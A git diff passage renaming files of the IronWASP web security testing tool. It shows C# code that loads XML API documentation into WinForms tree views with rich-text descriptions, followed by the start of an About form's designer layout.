diff --git a/IronWASP/APIDoc.cs b/Iron/APIDoc.cs similarity index 97% rename from IronWASP/APIDoc.cs rename to Iron/APIDoc.cs index da23a40..054e6b5 100644 --- a/IronWASP/APIDoc.cs +++ b/Iron/APIDoc.cs @@ -1,405 +1,405 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Xml; -using System.Drawing; -using System.Windows.Forms; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - internal class APIDoc - { - internal static XmlDocument PyAPI = new XmlDocument(); - internal static XmlDocument RbAPI = new XmlDocument(); - - internal static void Initialise() - { - try - { - PyAPI.Load(string.Format("{0}//APIdoc_Py.xml", Config.Path)); - } - catch(Exception Exp) - { - IronException.Report("Unable to load Python API Doc", Exp.Message, Exp.StackTrace); - } - try - { - RbAPI.Load(string.Format("{0}//APIdoc_Rb.xml", Config.Path)); - } - catch (Exception Exp) - { - IronException.Report("Unable to load Ruby API Doc", Exp.Message, Exp.StackTrace); - } - try - { - BuildPyAPITrees(); - } - catch (Exception Exp) - { - IronException.Report("Unable to build Python API Doc tree", Exp.Message, Exp.StackTrace); - } - try - { - BuildRbAPITrees(); - } - catch (Exception Exp) - { - IronException.Report("Unable to build Python API Doc tree", Exp.Message, Exp.StackTrace); - } - } - - internal static void BuildPyAPITrees() - { - BuildAPITree(IronUI.UI.ScriptingShellPythonAPITree, PyAPI); - BuildAPITree(IronUI.UI.PluginEditorPythonAPITree, PyAPI); - } - - internal static void BuildPluginEditorTrees() - { - BuildAPITree(IronUI.PE.PluginEditorPythonAPITree, PyAPI); - BuildAPITree(IronUI.PE.PluginEditorRubyAPITree, RbAPI); - } - - internal static void BuildRbAPITrees() - { - BuildAPITree(IronUI.UI.ScriptingShellRubyAPITree, RbAPI); - BuildAPITree(IronUI.UI.PluginEditorRubyAPITree, RbAPI); - } - - static void BuildAPITree(TreeView Tree, XmlDocument API) - { - try - { - Tree.BeginUpdate(); - Tree.Nodes.Clear(); - //Build class - foreach (XmlNode Class in API.SelectNodes("api")[0].SelectNodes("class")) - { - TreeNode ClassNode = new TreeNode(); - string ClassName = Class.SelectNodes("name")[0].InnerText; - ClassNode.Name = ClassName; - ClassNode.Text = ClassName; - ClassNode.ForeColor = Color.Green; - string ClassType = Class.SelectNodes("type")[0].InnerText; - ClassNode.ToolTipText = Class.SelectNodes("description")[0].InnerText; - - TreeNode ConstructorsNode = new TreeNode(); - ConstructorsNode.Name = "Constructors"; - ConstructorsNode.Text = "Constructors"; - ConstructorsNode.ForeColor = Color.Brown; - - TreeNode PropertiesNode = new TreeNode(); - PropertiesNode.Name = "Properties"; - PropertiesNode.Text = "Properties"; - PropertiesNode.ForeColor = Color.DarkBlue; - - TreeNode MethodsNode = new TreeNode(); - MethodsNode.Name = "Methods"; - MethodsNode.Text = "Methods"; - MethodsNode.ForeColor = Color.IndianRed; - - TreeNode MembersNode = new TreeNode(); - MembersNode.Name = "Members"; - MembersNode.Text = "Members"; - - if (ClassType.Equals("Non-Static")) - { - ClassNode.Nodes.Add(ConstructorsNode); - } - if (ClassType.Equals("Non-Static") || ClassType.Equals("Static")) - { - ClassNode.Nodes.Add(PropertiesNode); - ClassNode.Nodes.Add(MethodsNode); - } - if (ClassType.Equals("Enum")) - { - ClassNode.Nodes.Add(MembersNode); - } - //Build constructors - try - { - foreach (XmlNode Constructor in Class.SelectNodes("constructors")[0].SelectNodes("constructor")) - { - TreeNode ConstructorNode = new TreeNode(); - string ConstructorName = Constructor.SelectNodes("name")[0].InnerText; - ConstructorNode.Name = "constructors-" + ConstructorName; - ConstructorNode.Text = ConstructorName; - ConstructorNode.ForeColor = Color.Brown; - ConstructorNode.ToolTipText = Constructor.SelectNodes("description")[0].InnerText; - ConstructorsNode.Nodes.Add(ConstructorNode); - } - } - catch - { - - } - //Build properties - try - { - foreach (XmlNode Property in Class.SelectNodes("properties")[0].SelectNodes("property")) - { - TreeNode PropertyNode = new TreeNode(); - string PropertyName = Property.SelectNodes("name")[0].InnerText + " : " + Property.SelectNodes("datatype")[0].InnerText; - PropertyNode.Name = "properties-" + PropertyName; - PropertyNode.Text = PropertyName; - PropertyNode.ForeColor = Color.DarkBlue; - PropertyNode.ToolTipText = Property.SelectNodes("description")[0].InnerText; - PropertiesNode.Nodes.Add(PropertyNode); - } - } - catch - { - - } - //Build methods - try - { - foreach (XmlNode Method in Class.SelectNodes("methods")[0].SelectNodes("method")) - { - TreeNode MethodNode = new TreeNode(); - string MethodName = Method.SelectNodes("name")[0].InnerText + " : " + Method.SelectNodes("return")[0].InnerText; - MethodNode.Name = "methods-" + MethodName; - MethodNode.Text = MethodName; - MethodNode.ForeColor = Color.IndianRed; - MethodNode.ToolTipText = Method.SelectNodes("description")[0].InnerText; - MethodsNode.Nodes.Add(MethodNode); - } - } - catch - { - - } - //Build members - try - { - foreach (XmlNode Member in Class.SelectNodes("members")[0].SelectNodes("member")) - { - TreeNode MemberNode = new TreeNode(); - string MemberName = Member.SelectNodes("name")[0].InnerText; - MemberNode.Name = "members-" + MemberName; - MemberNode.Text = MemberName; - MemberNode.ForeColor = Color.IndianRed; - MemberNode.ToolTipText = Member.SelectNodes("description")[0].InnerText; - MembersNode.Nodes.Add(MemberNode); - } - } - catch - { - - } - Tree.Nodes.Add(ClassNode); - Tree.EndUpdate(); - } - } - catch(Exception Exp) - { - Tree.EndUpdate(); - throw Exp; - } - } - internal static string GetPyDecription(TreeNode Node) - { - try - { - return GetDecription(Node, PyAPI); - } - catch(Exception Exp) - { - IronException.Report("Error reading Python API Doc information", Exp.Message, Exp.StackTrace); - return ""; - } - } - internal static string GetRbDecription(TreeNode Node) - { - try - { - return GetDecription(Node, RbAPI); - } - catch(Exception Exp) - { - IronException.Report("Error reading Ruby API Doc information", Exp.Message, Exp.StackTrace); - return ""; - } - } - static string GetDecription(TreeNode Node, XmlDocument API) - { - string Desc=""; - if (Node.Level == 0) - { - Desc = GetClassDescription(Node, API); - } - else if (Node.Level == 1) - { - if(Node.Name.Equals("Constructors")) - { - Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("constructorsdesc")[0].InnerText); - } - else if (Node.Name.Equals("Properties")) - { - Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("propertiesdesc")[0].InnerText); - } - else if (Node.Name.Equals("Methods")) - { - Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("methodsdesc")[0].InnerText); - } - else if (Node.Name.Equals("Members")) - { - Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("membersdesc")[0].InnerText); - } - } - else if (Node.Level == 2) - { - XmlNode ClassNode = API.SelectNodes("api")[0].SelectNodes("class")[Node.Parent.Parent.Index]; - string ClassSection = Node.Name.Substring(0, Node.Name.IndexOf("-")); - XmlNode ObjectNode = ClassNode.SelectNodes(ClassSection)[0].ChildNodes[Node.Index]; - if (ClassSection.Equals("constructors")) - { - return GetRichText(GetConstructorDescription(ObjectNode)); - } - else if (ClassSection.Equals("properties")) - { - return GetRichText(GetPropertyDescription(ObjectNode)); - } - else if (ClassSection.Equals("methods")) - { - return GetRichText(GetMethodDescription(ObjectNode)); - } - else if (ClassSection.Equals("members")) - { - GetMemberDescription(ObjectNode); - } - Desc = ObjectNode.SelectNodes("description")[0].InnerText; - - } - return Desc; - } - - static string GetClassDescription(TreeNode Node, XmlDocument API) - { - StringBuilder Desc = new StringBuilder(); - Desc.Append(API.SelectNodes("api")[0].SelectNodes("class")[Node.Index].SelectNodes("description")[0].InnerText.Replace("\n", @" \par")); - Desc.Append(@" \par \b Type: \b0 "); - Desc.Append(API.SelectNodes("api")[0].SelectNodes("class")[Node.Index].SelectNodes("type")[0].InnerText); - return GetRichText(Desc.ToString()); - } - static string GetConstructorDescription(XmlNode Base) - { - StringBuilder Desc = new StringBuilder(); - Desc.Append(Base.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par ")); - Desc.Append(@" \par"); - Desc.Append(@" \par"); - Desc.Append(@" \cf1 \b "); - Desc.Append(Base.SelectNodes("name")[0].InnerText); - Desc.Append(@" \b0 \cf0 "); - Desc.Append(@" \par"); - Desc.Append(@" \par"); - Desc.Append(@" \b Input Parameters: \b0 "); - Desc.Append(GetParametersDescription(Base)); - return Desc.ToString(); - } - static string GetPropertyDescription(XmlNode Base) - { - StringBuilder Desc = new StringBuilder(); - Desc.Append(Base.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par ")); - Desc.Append(@" \par"); - Desc.Append(@" \par"); - Desc.Append(@" \cf1 \b "); - Desc.Append(Base.SelectNodes("name")[0].InnerText); - Desc.Append(@" \b0 \cf0 "); - Desc.Append(@" \par"); - Desc.Append(@" \par"); - Desc.Append(@" \b DataType: \b0 "); - Desc.Append(Base.SelectNodes("datatype")[0].InnerText); - Desc.Append(@" \par "); - Desc.Append(@" \par"); - Desc.Append(@" \b Type: \b0 "); - Desc.Append(Base.SelectNodes("type")[0].InnerText); - Desc.Append(@" \par "); - Desc.Append(@" \par"); - return Desc.ToString(); - } - static string GetMethodDescription(XmlNode Base) - { - StringBuilder Desc = new StringBuilder(); - Desc.Append(Base.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par ")); - Desc.Append(@" \par"); - Desc.Append(@" \par"); - Desc.Append(@" \cf1 \b "); - Desc.Append(Base.SelectNodes("name")[0].InnerText); - Desc.Append(@" \b0 \cf0 "); - Desc.Append(@" \par"); - Desc.Append(@" \par"); - Desc.Append(@" \b Type: \b0 "); - Desc.Append(Base.SelectNodes("type")[0].InnerText); - Desc.Append(@" \par "); - Desc.Append(@" \par"); - Desc.Append(@" \b Input Parameters: \b0 "); - Desc.Append(GetParametersDescription(Base)); - Desc.Append(@" \b Return Type: \b0 "); - Desc.Append(Base.SelectNodes("return")[0].InnerText); - Desc.Append(@" \par "); - Desc.Append(@" \par"); - return Desc.ToString(); - } - - static void GetMemberDescription(XmlNode Base) - { - - } - - static string GetParametersDescription(XmlNode Base) - { - XmlNodeList ParameterList = Base.SelectNodes("parameters")[0].SelectNodes("parameter"); - if (ParameterList.Count == 0) - { - return @" None \par \par"; - } - StringBuilder Desc = new StringBuilder(); - Desc.Append(@" \par"); - Desc.Append(@" \par"); - foreach (XmlNode Parameter in ParameterList) - { - Desc.Append(@"{\pntext\f1\'B7\tab}{\*\pn\pnlvlblt\pnf1\pnindent0{\pntxtb\'B7}}\fi-360\li720\sl240\slmult1"); - Desc.Append(@"\cf1 \b "); - Desc.Append(Parameter.SelectNodes("name")[0].InnerText); - Desc.Append(@" \b0 \cf0"); - Desc.Append(@"\par"); - Desc.Append(@"\pard"); - Desc.Append(@" \tab \b DataType: \b0 "); - Desc.Append(Parameter.SelectNodes("datatype")[0].InnerText); - Desc.Append(@" \par "); - Desc.Append(@" \tab "); - Desc.Append(Parameter.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par \tab ")); - Desc.Append(@" \par "); - Desc.Append(@" \pard "); - Desc.Append(@" \par"); - } - return Desc.ToString(); - } - static string GetRichText(string PoorText) - { - StringBuilder Desc = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); - Desc.Append(PoorText.Replace("[i[br]]", @" \par ")); - Desc.Append(@"\par}"); - return Desc.ToString(); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Xml; +using System.Drawing; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + internal class APIDoc + { + internal static XmlDocument PyAPI = new XmlDocument(); + internal static XmlDocument RbAPI = new XmlDocument(); + + internal static void Initialise() + { + try + { + PyAPI.Load(string.Format("{0}//APIdoc_Py.xml", Config.Path)); + } + catch(Exception Exp) + { + IronException.Report("Unable to load Python API Doc", Exp.Message, Exp.StackTrace); + } + try + { + RbAPI.Load(string.Format("{0}//APIdoc_Rb.xml", Config.Path)); + } + catch (Exception Exp) + { + IronException.Report("Unable to load Ruby API Doc", Exp.Message, Exp.StackTrace); + } + try + { + BuildPyAPITrees(); + } + catch (Exception Exp) + { + IronException.Report("Unable to build Python API Doc tree", Exp.Message, Exp.StackTrace); + } + try + { + BuildRbAPITrees(); + } + catch (Exception Exp) + { + IronException.Report("Unable to build Python API Doc tree", Exp.Message, Exp.StackTrace); + } + } + + internal static void BuildPyAPITrees() + { + BuildAPITree(IronUI.UI.ScriptingShellPythonAPITree, PyAPI); + BuildAPITree(IronUI.UI.PluginEditorPythonAPITree, PyAPI); + } + + internal static void BuildPluginEditorTrees() + { + BuildAPITree(IronUI.PE.PluginEditorPythonAPITree, PyAPI); + BuildAPITree(IronUI.PE.PluginEditorRubyAPITree, RbAPI); + } + + internal static void BuildRbAPITrees() + { + BuildAPITree(IronUI.UI.ScriptingShellRubyAPITree, RbAPI); + BuildAPITree(IronUI.UI.PluginEditorRubyAPITree, RbAPI); + } + + static void BuildAPITree(TreeView Tree, XmlDocument API) + { + try + { + Tree.BeginUpdate(); + Tree.Nodes.Clear(); + //Build class + foreach (XmlNode Class in API.SelectNodes("api")[0].SelectNodes("class")) + { + TreeNode ClassNode = new TreeNode(); + string ClassName = Class.SelectNodes("name")[0].InnerText; + ClassNode.Name = ClassName; + ClassNode.Text = ClassName; + ClassNode.ForeColor = Color.Green; + string ClassType = Class.SelectNodes("type")[0].InnerText; + ClassNode.ToolTipText = Class.SelectNodes("description")[0].InnerText; + + TreeNode ConstructorsNode = new TreeNode(); + ConstructorsNode.Name = "Constructors"; + ConstructorsNode.Text = "Constructors"; + ConstructorsNode.ForeColor = Color.Brown; + + TreeNode PropertiesNode = new TreeNode(); + PropertiesNode.Name = "Properties"; + PropertiesNode.Text = "Properties"; + PropertiesNode.ForeColor = Color.DarkBlue; + + TreeNode MethodsNode = new TreeNode(); + MethodsNode.Name = "Methods"; + MethodsNode.Text = "Methods"; + MethodsNode.ForeColor = Color.IndianRed; + + TreeNode MembersNode = new TreeNode(); + MembersNode.Name = "Members"; + MembersNode.Text = "Members"; + + if (ClassType.Equals("Non-Static")) + { + ClassNode.Nodes.Add(ConstructorsNode); + } + if (ClassType.Equals("Non-Static") || ClassType.Equals("Static")) + { + ClassNode.Nodes.Add(PropertiesNode); + ClassNode.Nodes.Add(MethodsNode); + } + if (ClassType.Equals("Enum")) + { + ClassNode.Nodes.Add(MembersNode); + } + //Build constructors + try + { + foreach (XmlNode Constructor in Class.SelectNodes("constructors")[0].SelectNodes("constructor")) + { + TreeNode ConstructorNode = new TreeNode(); + string ConstructorName = Constructor.SelectNodes("name")[0].InnerText; + ConstructorNode.Name = "constructors-" + ConstructorName; + ConstructorNode.Text = ConstructorName; + ConstructorNode.ForeColor = Color.Brown; + ConstructorNode.ToolTipText = Constructor.SelectNodes("description")[0].InnerText; + ConstructorsNode.Nodes.Add(ConstructorNode); + } + } + catch + { + + } + //Build properties + try + { + foreach (XmlNode Property in Class.SelectNodes("properties")[0].SelectNodes("property")) + { + TreeNode PropertyNode = new TreeNode(); + string PropertyName = Property.SelectNodes("name")[0].InnerText + " : " + Property.SelectNodes("datatype")[0].InnerText; + PropertyNode.Name = "properties-" + PropertyName; + PropertyNode.Text = PropertyName; + PropertyNode.ForeColor = Color.DarkBlue; + PropertyNode.ToolTipText = Property.SelectNodes("description")[0].InnerText; + PropertiesNode.Nodes.Add(PropertyNode); + } + } + catch + { + + } + //Build methods + try + { + foreach (XmlNode Method in Class.SelectNodes("methods")[0].SelectNodes("method")) + { + TreeNode MethodNode = new TreeNode(); + string MethodName = Method.SelectNodes("name")[0].InnerText + " : " + Method.SelectNodes("return")[0].InnerText; + MethodNode.Name = "methods-" + MethodName; + MethodNode.Text = MethodName; + MethodNode.ForeColor = Color.IndianRed; + MethodNode.ToolTipText = Method.SelectNodes("description")[0].InnerText; + MethodsNode.Nodes.Add(MethodNode); + } + } + catch + { + + } + //Build members + try + { + foreach (XmlNode Member in Class.SelectNodes("members")[0].SelectNodes("member")) + { + TreeNode MemberNode = new TreeNode(); + string MemberName = Member.SelectNodes("name")[0].InnerText; + MemberNode.Name = "members-" + MemberName; + MemberNode.Text = MemberName; + MemberNode.ForeColor = Color.IndianRed; + MemberNode.ToolTipText = Member.SelectNodes("description")[0].InnerText; + MembersNode.Nodes.Add(MemberNode); + } + } + catch + { + + } + Tree.Nodes.Add(ClassNode); + Tree.EndUpdate(); + } + } + catch(Exception Exp) + { + Tree.EndUpdate(); + throw Exp; + } + } + internal static string GetPyDecription(TreeNode Node) + { + try + { + return GetDecription(Node, PyAPI); + } + catch(Exception Exp) + { + IronException.Report("Error reading Python API Doc information", Exp.Message, Exp.StackTrace); + return ""; + } + } + internal static string GetRbDecription(TreeNode Node) + { + try + { + return GetDecription(Node, RbAPI); + } + catch(Exception Exp) + { + IronException.Report("Error reading Ruby API Doc information", Exp.Message, Exp.StackTrace); + return ""; + } + } + static string GetDecription(TreeNode Node, XmlDocument API) + { + string Desc=""; + if (Node.Level == 0) + { + Desc = GetClassDescription(Node, API); + } + else if (Node.Level == 1) + { + if(Node.Name.Equals("Constructors")) + { + Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("constructorsdesc")[0].InnerText); + } + else if (Node.Name.Equals("Properties")) + { + Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("propertiesdesc")[0].InnerText); + } + else if (Node.Name.Equals("Methods")) + { + Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("methodsdesc")[0].InnerText); + } + else if (Node.Name.Equals("Members")) + { + Desc = GetRichText(API.SelectNodes("api")[0].SelectNodes("membersdesc")[0].InnerText); + } + } + else if (Node.Level == 2) + { + XmlNode ClassNode = API.SelectNodes("api")[0].SelectNodes("class")[Node.Parent.Parent.Index]; + string ClassSection = Node.Name.Substring(0, Node.Name.IndexOf("-")); + XmlNode ObjectNode = ClassNode.SelectNodes(ClassSection)[0].ChildNodes[Node.Index]; + if (ClassSection.Equals("constructors")) + { + return GetRichText(GetConstructorDescription(ObjectNode)); + } + else if (ClassSection.Equals("properties")) + { + return GetRichText(GetPropertyDescription(ObjectNode)); + } + else if (ClassSection.Equals("methods")) + { + return GetRichText(GetMethodDescription(ObjectNode)); + } + else if (ClassSection.Equals("members")) + { + GetMemberDescription(ObjectNode); + } + Desc = ObjectNode.SelectNodes("description")[0].InnerText; + + } + return Desc; + } + + static string GetClassDescription(TreeNode Node, XmlDocument API) + { + StringBuilder Desc = new StringBuilder(); + Desc.Append(API.SelectNodes("api")[0].SelectNodes("class")[Node.Index].SelectNodes("description")[0].InnerText.Replace("\n", @" \par")); + Desc.Append(@" \par \b Type: \b0 "); + Desc.Append(API.SelectNodes("api")[0].SelectNodes("class")[Node.Index].SelectNodes("type")[0].InnerText); + return GetRichText(Desc.ToString()); + } + static string GetConstructorDescription(XmlNode Base) + { + StringBuilder Desc = new StringBuilder(); + Desc.Append(Base.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par ")); + Desc.Append(@" \par"); + Desc.Append(@" \par"); + Desc.Append(@" \cf1 \b "); + Desc.Append(Base.SelectNodes("name")[0].InnerText); + Desc.Append(@" \b0 \cf0 "); + Desc.Append(@" \par"); + Desc.Append(@" \par"); + Desc.Append(@" \b Input Parameters: \b0 "); + Desc.Append(GetParametersDescription(Base)); + return Desc.ToString(); + } + static string GetPropertyDescription(XmlNode Base) + { + StringBuilder Desc = new StringBuilder(); + Desc.Append(Base.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par ")); + Desc.Append(@" \par"); + Desc.Append(@" \par"); + Desc.Append(@" \cf1 \b "); + Desc.Append(Base.SelectNodes("name")[0].InnerText); + Desc.Append(@" \b0 \cf0 "); + Desc.Append(@" \par"); + Desc.Append(@" \par"); + Desc.Append(@" \b DataType: \b0 "); + Desc.Append(Base.SelectNodes("datatype")[0].InnerText); + Desc.Append(@" \par "); + Desc.Append(@" \par"); + Desc.Append(@" \b Type: \b0 "); + Desc.Append(Base.SelectNodes("type")[0].InnerText); + Desc.Append(@" \par "); + Desc.Append(@" \par"); + return Desc.ToString(); + } + static string GetMethodDescription(XmlNode Base) + { + StringBuilder Desc = new StringBuilder(); + Desc.Append(Base.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par ")); + Desc.Append(@" \par"); + Desc.Append(@" \par"); + Desc.Append(@" \cf1 \b "); + Desc.Append(Base.SelectNodes("name")[0].InnerText); + Desc.Append(@" \b0 \cf0 "); + Desc.Append(@" \par"); + Desc.Append(@" \par"); + Desc.Append(@" \b Type: \b0 "); + Desc.Append(Base.SelectNodes("type")[0].InnerText); + Desc.Append(@" \par "); + Desc.Append(@" \par"); + Desc.Append(@" \b Input Parameters: \b0 "); + Desc.Append(GetParametersDescription(Base)); + Desc.Append(@" \b Return Type: \b0 "); + Desc.Append(Base.SelectNodes("return")[0].InnerText); + Desc.Append(@" \par "); + Desc.Append(@" \par"); + return Desc.ToString(); + } + + static void GetMemberDescription(XmlNode Base) + { + + } + + static string GetParametersDescription(XmlNode Base) + { + XmlNodeList ParameterList = Base.SelectNodes("parameters")[0].SelectNodes("parameter"); + if (ParameterList.Count == 0) + { + return @" None \par \par"; + } + StringBuilder Desc = new StringBuilder(); + Desc.Append(@" \par"); + Desc.Append(@" \par"); + foreach (XmlNode Parameter in ParameterList) + { + Desc.Append(@"{\pntext\f1\'B7\tab}{\*\pn\pnlvlblt\pnf1\pnindent0{\pntxtb\'B7}}\fi-360\li720\sl240\slmult1"); + Desc.Append(@"\cf1 \b "); + Desc.Append(Parameter.SelectNodes("name")[0].InnerText); + Desc.Append(@" \b0 \cf0"); + Desc.Append(@"\par"); + Desc.Append(@"\pard"); + Desc.Append(@" \tab \b DataType: \b0 "); + Desc.Append(Parameter.SelectNodes("datatype")[0].InnerText); + Desc.Append(@" \par "); + Desc.Append(@" \tab "); + Desc.Append(Parameter.SelectNodes("description")[0].InnerText.Replace("[i[br]]", @" \par \tab ")); + Desc.Append(@" \par "); + Desc.Append(@" \pard "); + Desc.Append(@" \par"); + } + return Desc.ToString(); + } + static string GetRichText(string PoorText) + { + StringBuilder Desc = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); + Desc.Append(PoorText.Replace("[i[br]]", @" \par ")); + Desc.Append(@"\par}"); + return Desc.ToString(); + } + } +} diff --git a/IronWASP/AboutForm.Designer.cs b/Iron/AboutForm.Designer.cs similarity index 97% rename from IronWASP/AboutForm.Designer.cs rename to Iron/AboutForm.Designer.cs index 6a02226..68a8592 100644 --- a/IronWASP/AboutForm.Designer.cs +++ b/Iron/AboutForm.Designer.cs @@ -1,399 +1,399 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class AboutForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutForm)); - this.AboutLogoPB = new System.Windows.Forms.PictureBox(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.AboutFormCopyrightTB = new System.Windows.Forms.TextBox(); - this.AboutFormVersionTB = new System.Windows.Forms.TextBox(); - this.panel2 = new System.Windows.Forms.Panel(); - this.textBox17 = new System.Windows.Forms.TextBox(); - this.textBox15 = new System.Windows.Forms.TextBox(); - this.textBox16 = new System.Windows.Forms.TextBox(); - this.textBox13 = new System.Windows.Forms.TextBox(); - this.textBox14 = new System.Windows.Forms.TextBox(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.textBox12 = new System.Windows.Forms.TextBox(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.textBox11 = new System.Windows.Forms.TextBox(); - this.textBox10 = new System.Windows.Forms.TextBox(); - this.textBox9 = new System.Windows.Forms.TextBox(); - this.textBox8 = new System.Windows.Forms.TextBox(); - this.textBox7 = new System.Windows.Forms.TextBox(); - this.textBox6 = new System.Windows.Forms.TextBox(); - this.textBox5 = new System.Windows.Forms.TextBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - ((System.ComponentModel.ISupportInitialize)(this.AboutLogoPB)).BeginInit(); - this.panel2.SuspendLayout(); - this.SuspendLayout(); - // - // AboutLogoPB - // - this.AboutLogoPB.Image = ((System.Drawing.Image)(resources.GetObject("AboutLogoPB.Image"))); - this.AboutLogoPB.InitialImage = ((System.Drawing.Image)(resources.GetObject("AboutLogoPB.InitialImage"))); - this.AboutLogoPB.Location = new System.Drawing.Point(4, 6); - this.AboutLogoPB.Name = "AboutLogoPB"; - this.AboutLogoPB.Size = new System.Drawing.Size(215, 39); - this.AboutLogoPB.TabIndex = 0; - this.AboutLogoPB.TabStop = false; - // - // textBox1 - // - this.textBox1.BackColor = System.Drawing.Color.Cornsilk; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.textBox1.Location = new System.Drawing.Point(5, 4); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(473, 40); - this.textBox1.TabIndex = 1; - this.textBox1.Text = "IronWASP is an Open Source and Open Architecure Project designed for Advanced Web" + - " Security Testing"; - // - // AboutFormCopyrightTB - // - this.AboutFormCopyrightTB.BackColor = System.Drawing.SystemColors.Window; - this.AboutFormCopyrightTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.AboutFormCopyrightTB.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.AboutFormCopyrightTB.Location = new System.Drawing.Point(231, 25); - this.AboutFormCopyrightTB.Multiline = true; - this.AboutFormCopyrightTB.Name = "AboutFormCopyrightTB"; - this.AboutFormCopyrightTB.ReadOnly = true; - this.AboutFormCopyrightTB.Size = new System.Drawing.Size(244, 21); - this.AboutFormCopyrightTB.TabIndex = 2; - this.AboutFormCopyrightTB.Text = "Copyright © 2013 Lavakumar Kuppan"; - // - // AboutFormVersionTB - // - this.AboutFormVersionTB.BackColor = System.Drawing.SystemColors.Window; - this.AboutFormVersionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.AboutFormVersionTB.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.AboutFormVersionTB.Location = new System.Drawing.Point(263, 6); - this.AboutFormVersionTB.Multiline = true; - this.AboutFormVersionTB.Name = "AboutFormVersionTB"; - this.AboutFormVersionTB.ReadOnly = true; - this.AboutFormVersionTB.Size = new System.Drawing.Size(166, 23); - this.AboutFormVersionTB.TabIndex = 3; - this.AboutFormVersionTB.Text = "Installed Version: 0.9.7.1"; - // - // panel2 - // - this.panel2.BackColor = System.Drawing.Color.Cornsilk; - this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panel2.Controls.Add(this.textBox17); - this.panel2.Controls.Add(this.textBox15); - this.panel2.Controls.Add(this.textBox16); - this.panel2.Controls.Add(this.textBox13); - this.panel2.Controls.Add(this.textBox14); - this.panel2.Controls.Add(this.textBox3); - this.panel2.Controls.Add(this.textBox12); - this.panel2.Controls.Add(this.textBox2); - this.panel2.Controls.Add(this.textBox11); - this.panel2.Controls.Add(this.textBox10); - this.panel2.Controls.Add(this.textBox9); - this.panel2.Controls.Add(this.textBox8); - this.panel2.Controls.Add(this.textBox7); - this.panel2.Controls.Add(this.textBox6); - this.panel2.Controls.Add(this.textBox5); - this.panel2.Controls.Add(this.textBox4); - this.panel2.Controls.Add(this.textBox1); - this.panel2.Location = new System.Drawing.Point(3, 54); - this.panel2.Name = "panel2"; - this.panel2.Size = new System.Drawing.Size(488, 265); - this.panel2.TabIndex = 4; - // - // textBox17 - // - this.textBox17.BackColor = System.Drawing.Color.Cornsilk; - this.textBox17.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox17.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, 